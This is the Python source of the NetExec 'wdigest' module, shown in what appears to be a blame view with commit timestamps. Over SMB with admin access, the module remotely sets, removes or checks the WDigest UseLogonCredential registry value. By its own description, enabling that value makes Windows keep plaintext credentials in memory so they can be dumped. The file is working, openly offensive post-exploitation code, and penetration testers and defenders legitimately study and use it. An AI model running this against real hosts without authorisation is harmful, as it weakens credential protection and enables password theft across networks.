NetExec/nxc/modules/wdigest.py

145 lines
5.2 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2017-03-27 21:09:36 +00:00
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from sys import exit
2023-09-22 19:27:05 +00:00
class NXCModule:
2023-06-27 17:36:43 +00:00
name = "wdigest"
2017-03-27 21:09:36 +00:00
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
2023-06-27 17:36:43 +00:00
supported_protocols = ["smb"]
2017-03-27 21:09:36 +00:00
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
2023-06-27 17:36:43 +00:00
"""
ACTION Create/Delete the registry key (choices: enable, disable, check)
2023-06-27 17:36:43 +00:00
"""
2017-03-27 21:09:36 +00:00
2023-09-20 15:59:16 +00:00
if "ACTION" not in module_options:
2023-06-27 17:36:43 +00:00
context.log.fail("ACTION option not specified!")
2017-03-27 21:09:36 +00:00
exit(1)
2023-06-27 17:36:43 +00:00
if module_options["ACTION"].lower() not in ["enable", "disable", "check"]:
context.log.fail("Invalid value for ACTION option!")
2017-03-27 21:09:36 +00:00
exit(1)
2023-06-27 17:36:43 +00:00
self.action = module_options["ACTION"].lower()
2017-03-27 21:09:36 +00:00
def on_admin_login(self, context, connection):
2023-06-27 17:36:43 +00:00
if self.action == "enable":
2017-03-27 21:09:36 +00:00
self.wdigest_enable(context, connection.conn)
2023-06-27 17:36:43 +00:00
elif self.action == "disable":
2017-03-27 21:09:36 +00:00
self.wdigest_disable(context, connection.conn)
2023-06-27 17:36:43 +00:00
elif self.action == "check":
self.wdigest_check(context, connection.conn)
2017-03-27 21:09:36 +00:00
def wdigest_enable(self, context, smbconnection):
2023-09-22 19:27:05 +00:00
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
2017-03-27 21:09:36 +00:00
2023-09-22 19:27:05 +00:00
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-05-02 15:17:59 +00:00
2023-06-27 17:36:43 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:27:05 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-06-27 17:36:43 +00:00
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
2023-09-22 19:27:05 +00:00
key_handle = ans["phkResult"]
2023-05-02 15:17:59 +00:00
2023-06-27 17:36:43 +00:00
rrp.hBaseRegSetValue(
2023-09-22 19:27:05 +00:00
remote_ops._RemoteOperations__rrp,
key_handle,
2023-06-27 17:36:43 +00:00
"UseLogonCredential\x00",
rrp.REG_DWORD,
1,
)
2023-05-02 15:17:59 +00:00
2023-09-22 19:27:05 +00:00
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
2017-03-27 21:09:36 +00:00
if int(data) == 1:
2023-06-27 17:36:43 +00:00
context.log.success("UseLogonCredential registry key created successfully")
2017-03-27 21:09:36 +00:00
try:
2023-09-22 19:27:05 +00:00
remote_ops.finish()
except Exception:
2017-03-27 21:09:36 +00:00
pass
def wdigest_disable(self, context, smbconnection):
2023-09-22 19:27:05 +00:00
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
2017-03-27 21:09:36 +00:00
2023-09-22 19:27:05 +00:00
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2017-03-27 21:09:36 +00:00
2023-06-27 17:36:43 +00:00
ans = rrp.hBaseRegOpenKey(
2023-09-22 19:27:05 +00:00
remote_ops._RemoteOperations__rrp,
reg_handle,
2023-06-27 17:36:43 +00:00
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
)
keyHandle = ans["phkResult"]
2017-03-27 21:09:36 +00:00
try:
2023-06-27 17:36:43 +00:00
rrp.hBaseRegDeleteValue(
2023-09-22 19:27:05 +00:00
remote_ops._RemoteOperations__rrp,
2023-06-27 17:36:43 +00:00
keyHandle,
"UseLogonCredential\x00",
)
2023-09-22 19:27:05 +00:00
except Exception:
2023-06-27 17:36:43 +00:00
context.log.success("UseLogonCredential registry key not present")
2017-03-27 21:09:36 +00:00
try:
2023-09-22 19:27:05 +00:00
remote_ops.finish()
except Exception:
2017-03-27 21:09:36 +00:00
pass
return
try:
2023-06-27 17:36:43 +00:00
# Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(
2023-09-22 19:27:05 +00:00
remote_ops._RemoteOperations__rrp,
2023-06-27 17:36:43 +00:00
keyHandle,
"UseLogonCredential\x00",
)
2017-03-27 21:09:36 +00:00
except DCERPCException:
2023-06-27 17:36:43 +00:00
context.log.success("UseLogonCredential registry key deleted successfully")
2017-03-27 21:09:36 +00:00
try:
2023-09-22 19:27:05 +00:00
remote_ops.finish()
except Exception:
2017-03-27 21:09:36 +00:00
pass
def wdigest_check(self, context, smbconnection):
2023-09-22 19:27:05 +00:00
remote_ops = RemoteOperations(smbconnection, False)
remote_ops.enableRegistry()
2023-09-22 19:27:05 +00:00
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
2023-09-22 19:27:05 +00:00
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
key_handle = ans["phkResult"]
try:
2023-09-22 19:27:05 +00:00
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
if int(data) == 1:
2023-06-27 17:36:43 +00:00
context.log.success("UseLogonCredential registry key is enabled")
else:
2023-09-24 04:06:51 +00:00
context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}")
except DCERPCException as d:
2023-06-27 17:36:43 +00:00
if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d):
context.log.fail("UseLogonCredential registry key is disabled (registry key not found)")
else:
context.log.fail("UseLogonCredential registry key not present")
try:
2023-09-22 19:27:05 +00:00
remote_ops.finish()
except Exception:
pass